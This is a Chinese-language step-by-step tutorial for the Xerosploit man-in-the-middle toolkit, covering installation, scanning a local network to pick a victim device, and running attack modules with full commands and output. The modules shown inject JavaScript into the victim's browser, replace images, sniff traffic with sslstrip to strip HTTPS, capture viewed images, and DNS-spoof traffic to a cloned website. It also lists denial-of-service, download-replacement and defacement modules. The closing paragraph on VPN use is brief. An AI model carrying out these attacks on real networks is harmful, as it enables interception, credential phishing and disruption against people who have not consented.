使用 Xerosploit 执行高级中间人攻击
中间人攻击(MitM攻击)是指黑客进入网络并强制所有附近的设备直接连接到他们的机器。这让他们可以监视流量,甚至修改某些内容。Bettercap是一种可用于此类 MitM 攻击的工具,但 Xerosploit 可以自动执行通常需要在 Bettercap 中进行更多配置工作的高级功能。
Xerosploit 建立在其他一些工具(即 Bettercap 和Nmap)之上,使它们自动化,以便您只需几个命令即可完成这些更高级的概念。
但是,Xerosploit 的效果可能不尽如人意,因此如果由于目标使用 HTTPS 或通过 VPN 传输流量而无法伪造某些网页,请不要感到惊讶。考虑到 73% 的网站都使用 HTTPS,您只能在未使用 VPN 的情况下成功操纵剩余 27% 的网页。
有些网站仍可通过 HTTP 访问,因为它们不会将不安全的请求重定向到 HTTPS,有些网站甚至还没有安全版本。以下是一小部分示例,但在这 27% 中还有很多:
- alternativenation.net
- baidu.com
- bu.edu
- drudgereport.com
- gnu.org
- go.com
- icio.us
- myshopify.com
- washington.edu
- weevil.info
- wikidot.com
需要什么
我们仅在 Ubuntu 和 Kali Linux 上测试了 Xerosploit,但它可能在 macOS 上也能用。不过,在安装过程中,您只能在“Ubuntu / Kali Linux / 其他”和“Parrot OS”之间进行选择。
您还需要在计算机上安装最新版本的Python 。
步骤1:安装Xerosploit
首先,使用git clone从GitHub安装 Xerosploit 。
~$ git clone https://github.com/LionSec/xerosploit
Cloning into 'xerosploit' ...
remote: Enumerating objects: 306, done.
remote: Total 306 (delta 0), reused 0 (delta 0), pack-reused 306
Receiving objects: 100% (306/306), 793.28 KiB | 2.38 MiB/s, done.
Resolving deltas: 100% (68/68), done.
然后,进入其目录(cd)并使用 Python 启动安装程序。它会要求您选择操作系统;如果使用 Kali Linux,请选择1并按Enter。
~$ cd xerosploit && sudo python install.py
┌══════════════════════════════════════════════════════════════┐
█ █
█ Xerosploit Installer █
█ █
└══════════════════════════════════════════════════════════════┘
[++] Please choose your operating system.
1) Ubuntu / Kali Linux / Others
2) Parrot OS
>>> 1
[++] Insatlling Xerosploit ...
Get:1 http://kali.download/kali kali-rolling inRelease [30.5 kB]
Get:2 http://kali.download/kali kali-rolling/main Sources [14.0 kB]
...
Xerosploit has been successfully installed. Execute 'xerosploit' in your termninal.
第 2 步:安装依赖项
为了使 Xerosploit 正确完成其工作,您需要它在其上构建服务的所有工具,包括 Nmap、hping3、build-essential、ruby-dev、libpcap-dev 和 libgmp3-dev。如果您使用的是 Kali,那么您可能已经拥有所有这些工具。
~/xerosploit$ sudo apt install nmap hping3 build-essential ruby-dev libpcap-dev libgmp3-dev
Reading package lists ... Done
Building dependency try ... Done
Reading state information ... Done
build-essential is already the newest version (12.9).
build-essential set to manually installed.
hping3 is already the newest version (3.a2.ds2-10).
hping3 set to manually installed.
nmap is already the newest version (7.91+dfsg1-1kali1).
nmap set to manually installed.
ruby-dev is already the newest version (1:2.7+2).
ruby-dev set to manually installed.
libpcap-dev is already the newest version (1.9.1-r0).
libpcap-dev set to manually installed.
libgmp3-dev is already the newest version (2:6.0.0+dfsg-6).
libgmp3-dev set to manually installed.
并使用 Python 安装 tabulate 和 terminaltables,这将使 Xerosploit 以易于阅读的方式向您显示信息。您可能也已经拥有这些工具。
~/xerosploit$ sudo pip3 tabulate terminaltables
Requirement already satisfied: tabulate in /usr/lib/python3/dist-packages (0.8.7)
Requirement already satisfied: terminaltables in /usr/lib/python3/dist-packages (3.1.0)
步骤3:查看Xerosploit的命令
使用xerosploit命令启动 Xerosploit 。它会立即显示有关您的网络配置的信息。
~/xerosploit$ sudo xerosploit
▄ ▄███▄ █▄▄▄▄ ████▄ ▄▄▄▄▄ █ ▄▄ █ ████▄ ▄█ ▄▄▄▄▀
▀▄ █ █▀ ▀ █ ▄▀ █ █ █ ▀▄ █ █ █ █ █ ██ ▀▀▀ █
█ ▀ ██▄▄ █▀▀▌ █ █ ▄ ▀▀▀▀▄ █▀▀▀ █ █ █ ██ █
▄ █ █▄ ▄▀ █ █ ▀████ ▀▄▄▄▄▀ █ ███▄ ▀████ ▐█ █
█ ▀▄ ▀███▀ █ █ ▀ ▐ ▀
▀ ▀ ▀
[+]═══════════[ Author : @LionSec1 _-|/-_ Website: www.neodrix.com ]═══════════[+]
[ Powered by Bettercap and Nmap ]
┌═════════════════════════════════════════════════════════════════════════════┐
█ █
█ Your Network Configuration █
█ █
└═════════════════════════════════════════════════════════════════════════════┘
╒════════════════════════════════════════════════════════════════════════════╤═══════════════════╤═════════════╤═════════╤═════════════╕
│ IP Address │ MAC Address │ Gateway │ Iface │ Hostname │
╞════════════════════════════════════════════════════════════════════════════╪═══════════════════╪═════════════╪═════════╪═════════════╡
├────────────────────────────────────────────────────────────────────────────┼───────────────────┼─────────────┼─────────┼─────────────┤
│ 192.168.8.172 fd0b:ed07:cb03:10::3fa fd0b:ed07:cb03:10:dcf1:e71a:2dc3:299f │ 28:D2:44:23:54:2B │ 192.168.8.1 │ eth0 │ Macbook-Pro │
╘════════════════════════════════════════════════════════════════════════════╧═══════════════════╧═════════════╧═════════╧═════════════╛
╔═════════════╦════════════════════════════════════════════════════════════════════╗
║ ║ Xerosploit is a penetration testing toolkit whose goal is to ║
║ Information ║ perform man in the middle attacks for testing purposes. ║
║ ║ It brings various modules that allow to realise efficient attacks. ║
║ ║ This tool is Powered by Bettercap and Nmap. ║
╚═════════════╩════════════════════════════════════════════════════════════════════╝
[+] Please type 'help' to view commands.
Xero ➮
输入help来查看 Xerosploit 中可用的所有命令。
Xero ➮ help
╔══════════╦════════════════════════════════════════════════════════════════╗
║ ║ ║
║ ║ scan : Map your network. ║
║ ║ ║
║ ║ iface : Manually set your network interface. ║
║ COMMANDS ║ ║
║ ║ gateway : Manually set your gateway. ║
║ ║ ║
║ ║ start : Skip scan and directly set your target IP address. ║
║ ║ ║
║ ║ rmlog : Delete all xerosploit logs. ║
║ ║ ║
║ ║ help : Display this help message. ║
║ ║ ║
║ ║ exit : Close Xerosploit. ║
║ ║ ║
╚══════════╩════════════════════════════════════════════════════════════════╝
[+] Please type 'help' to view commands.
Xero ➮
步骤 4:运行扫描以识别目标
首先,我们将通过运行在 Nmap 上运行的扫描命令来进行一些侦察来识别目标。
Xero ➮ scan
[++} Mapping your network ...
[+]═══════════[ Devices found on your network ]═══════════[+]
╔═══════════════╦═══════════════════╦═══════════════════════════════╗
║ IP Address ║ Mac Address ║ Manufacturer ║
║═══════════════║═══════════════════║═══════════════════════════════║
║ 192.168.8.1 ║ 94:83:C4:00:EB:C5 ║ (Unknown) ║
║ 192.168.8.215 ║ B8:70:F4:AD:44:C8 ║ (Compal Information(kunshan)) ║
║ 192.168.8.172 ║ 28:D2:44:12:23:6B ║ (This device) ║
╚═══════════════╩═══════════════════╩═══════════════════════════════╝
[+] Please choose a target (e.g. 192.168.1.10). Enter 'help' for more information.
Xero ➮
您应该会看到返回的 IP 地址列表,如果一切顺利,其中一个 IP 地址就是您想要定位的 IP 地址。因此,输入您想要定位的设备的 IP 地址。对我来说,它是“昆山”设备。
Xero ➮ 192.168.8.215
[++] 192.168.8.215 ha been targeted.
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮
现在,它会询问您要针对目标运行哪个模块。如果您不知道要运行哪个模块,请键入help以查看完整列表。
Xero»modules ➮ help
╔═════════╦════════════════════════════════════════════════════════════════════╗
║ ║ ║
║ ║ pscan : Port Scanner ║
║ ║ ║
║ ║ dos : DoS Attack ║
║ ║ ║
║ ║ ping : Ping Request ║
║ ║ ║
║ ║ injecthtml : Inject Html code ║
║ ║ ║
║ ║ injectjs : Inject Javascript code ║
║ ║ ║
║ ║ rdownload : Replace files being downloaded ║
║ ║ ║
║ ║ sniff : Capturing information inside network packets ║
║ MODULES ║ ║
║ ║ dspoof : Redirect all the http traffic to the specified one IP ║
║ ║ ║
║ ║ yplay : Play background sound in target browser ║
║ ║ ║
║ ║ replace : Replace all web pages images with your own one ║
║ ║ ║
║ ║ driftnet : View all images requested by your targets ║
║ ║ ║
║ ║ move : Shaking Web Browser content ║
║ ║ ║
║ ║ deface : Overwrite all web pages with your HTML code ║
║ ║ ║
╚═════════╩════════════════════════════════════════════════════════════════════╝
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮
步骤5:抖动目标的Web浏览器
在所有模块中,最容易运行的是move,它会摇动目标计算机上的 Web 浏览器。这有助于验证我们是否可以访问目标,或者至少我们可以操纵其连接。
Xero»modules ➮ move
┌══════════════════════════════════════════════════════════════┐
█ █
█ Shakescreen █
█ █
█ Shaking Web Browser content █
└══════════════════════════════════════════════════════════════┘
[+] Enter 'run' to execute the 'move' command.
Xero»modules»shakescreen ➮
要启动 Shakescreen 效果,请使用run,每当目标访问网站时,它都会开始将 JavaScript 代码注入浏览器。但请记住,它只适用于使用 HTTP 而不是 HTTPS 的网页。
Xero»modules»shakescreen ➮ run
[++] Injecting shakescreen.js ...
[++] Press 'Ctrl + C' to stop.
因此,只要他们打开 HTTP 网页,页面就会开始不受控制地抖动。起初,目标可能会认为他们的显示器出了问题,直到他们注意到浏览器窗口本身及其后面的所有内容都没有振动。然后他们可能会认为他们的互联网出了问题。
这将会持续发生在他们访问的每个 HTTP 网页上,直到您在终端中使用Control-C停止攻击。
stop
^C
Stopping MITM attack ...
[+] Enter 'run' to execute the 'move' command.
Xero»modules»shakescreen ➮
步骤 6:替换目标浏览器中的所有图像
现在,让我们测试另一个模块。要返回模块选择屏幕,请键入back并输入。
Xero»modules»shakescreen ➮ back
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮
Xerosploit 有一个有趣的攻击工具叫做replace,它可以让我们将基于 HTTP 的网页上加载的所有图像替换为我们想要的任何图片。
Xero»modules ➮ replace
┌══════════════════════════════════════════════════════════════┐
█ █
█ Image Replace █
█ █
█ Replace all web pages images with your own one █
└══════════════════════════════════════════════════════════════┘
[+] Enter 'run' to execute the 'replace' command.
Xero»modules»replace ➮
要启动图像替换工具,请输入run,它会立即要求您添加图片的路径。
Xero»modules»replace ➮ run
[+] Insert your image path. (e.g. /home/capitansalami/pictures/fun.png)
Xero»modules»replace ➮
在计算机上找到一张图片,然后输入路径或将图片拖放到终端窗口中以自动填充。按回车键开始攻击。
Xero»modules»replace ➮ /root/Desktop/Bolton/index_files/JBolton_Walrus.jpg
[++] All images will be replaced by /root/Desktop/Bolton/index_files/JBolton_Walrus.jpg
[++] Press 'Ctrl + C' to stop .
每当基于 HTTP 的网页在目标浏览器上加载时,其所有图片都将被我们选择的图片替换。它并非总是 100% 有效,因此一些图片可能会保持不变,并且根据连接速度,它可能会有点慢,但总的来说,它工作得很好。
这种情况将会持续发生在每个 HTTP 页面上,直到您停止攻击。
^C
Stopping MITM attack ...
[+] Enter 'run' to execute the 'replace' command.
Xero»modules»replace ➮
步骤 7:通过网络捕获数据
让我们尝试另一个模块。要返回模块选择屏幕,请键入back并输入。
Xero»modules»replace ➮ back
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮
通过嗅探模块,我们可以通过网络捕获一些常规数据。
Xero»modules ➮ sniff
┌══════════════════════════════════════════════════════════════┐
█ █
█ Sniffing █
█ █
█ Capturing any data passed over your local network █
└══════════════════════════════════════════════════════════════┘
[+] Please type 'run' to execute the 'sniff' command.
Xero»modules»sniff ➮
选择嗅探工具后,输入run开始嗅探。然后它会询问您是否要加载sslstrip,它将尝试降低流量级别,以便我们可以获取一些否则可能会丢失的有趣信息。
Xero»modules»sniff ➮ run
[+] Do you want to load sslstrip ? (y/n).
Xero»modules»sniff ➮ y
[++] All logs are saved on : /opt/xerosploit/xerosniff
[++] Sniffing on 192.168.8.215
[++] sslstrip : ON
[++] Press 'Ctrl + C' to stop .
应会打开一个新窗口,显示所有被拦截并保存到计算机的数据包。在窗口中,您可以轻松看到目标正在访问哪些网站以及正在请求和发送哪些数据。
嗅探完数据包后,您可以使用键盘上的Control-C停止攻击。然后,系统会询问您是否要保存日志。使用Y表示是,使用N表示否。
^C
Stopping MITM attack ...
[+] Do you want to save logs ? (y/n).
Xero»modules»sniff ➮ n
[++] Logs have been removed.
[+] Please type 'run' to execute the 'sniff' command.
Xero»modules»sniff ➮
步骤 8:查看目标浏览器中加载的所有图像
让我们尝试另一个模块。要返回模块选择屏幕,请键入back并输入。
Xero»modules»sniff ➮ back
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮
输入driftnet,这是一个可以查看目标浏览器请求的每张图片的工具,然后运行它。然后它将开始记录目标浏览器在HTTP网页上看到的所有图片,并将其保存到/opt/xerosploit/xedriftnet文件夹中。
Xero»modules ➮ driftnet
┌══════════════════════════════════════════════════════════════┐
█ █
█ Driftnet █
█ █
█ View all images requested by your target █
└══════════════════════════════════════════════════════════════┘
[+] Enter 'run' to execute the 'driftnet' command.
Xero»modules»driftnet ➮ run
[++] Capturing requested images on 192.168.8.215 ...
[++] All captured images will be temporarily saved in /opt/xerosploit/xedriftnet
[++] Press 'Ctrl + C' to stop.
准备好查看宝箱中的宝物时,打开一个单独的终端窗口,然后切换到“xedriftnet”文件夹。然后您可以列出 ( ls ) 其内容以查看捕获的内容。
~$ cd /opt/xerosploit/xedriftnet
~/opt/xerosploit/xedriftnet$ ls
步骤 9:在目标上运行 DNS 欺骗模块
如果您想将流量重新路由到特定 IP 地址,dspoof模块可以提供帮助。但首先,您需要创建一个虚假网站,以便将网络上的其他人重定向到该网站。因此,访问您要复制的网站,保存其 HTML 文件,并将其重命名为“index.html”。
接下来,打开一个单独的终端窗口并导航到与 index.html 文件相同的文件夹。运行以下命令创建网页的本地版本,将YOUR_IP部分更改为您的机器的 IP 地址。
~$ sudo python3 -m http.server --bind YOUR_IP 80
然后,返回到 Xerosploit 的终端窗口,并运行dspoof命令。但首先,返回到模块选择屏幕。然后,打开并运行 DNS 欺骗工具。
当系统询问时,请提供您的 IP 地址作为重定向流量的地址。所有加载的网页都将是您克隆的页面!
Xero»modules»sniff ➮ back
[+] Which module do you want to load ? Enter 'help' for more information.
Xero»modules ➮ dspoof
┌══════════════════════════════════════════════════════════════┐
█ █
█ DNS spoofing █
█ █
█ Supply false DNS information to all target browsed hosts █
█ Redirect all the http traffic to the specified one IP █
└══════════════════════════════════════════════════════════════┘
[+] Please type 'run' to execute the 'dspoof' command.
Xero»modules»dspoof ➮ run
[+] Enter the IP address where you want to redirect the traffic.
[++] Redirecting all the traffic to your IP address.
[++] Press 'Ctrl + C' to stop .
步骤 10:试用其他模块
您可以尝试的其他模块包括以下内容,其中一些模块测试起来非常有趣。
- yplay:在浏览器后台播放 YouTube 视频。
- injectionjs:将 JavaScript 注入到网络上其他人加载的网站中。
- injectionhtml:将 HTML 注入到网络上加载的网站中。
- dos:拒绝该 IP 地址访问互联网。
- pscan:运行端口扫描。
- ping:Ping 设备。
- rdownload:用您自己的文件替换正在下载的文件。
- deface:用您自己的 HTML 替换每个网页。
Xerosploit 是一个生动的例子,说明了为什么你需要小心连接到未知网络。虽然 VPN 在大多数情况下可以保护你,但攻击者仍然有办法操纵你的流量。因此,当你不确定即将连接的网络的安全性时,一定要采取尽可能多的预防措施,比如使用 VPN。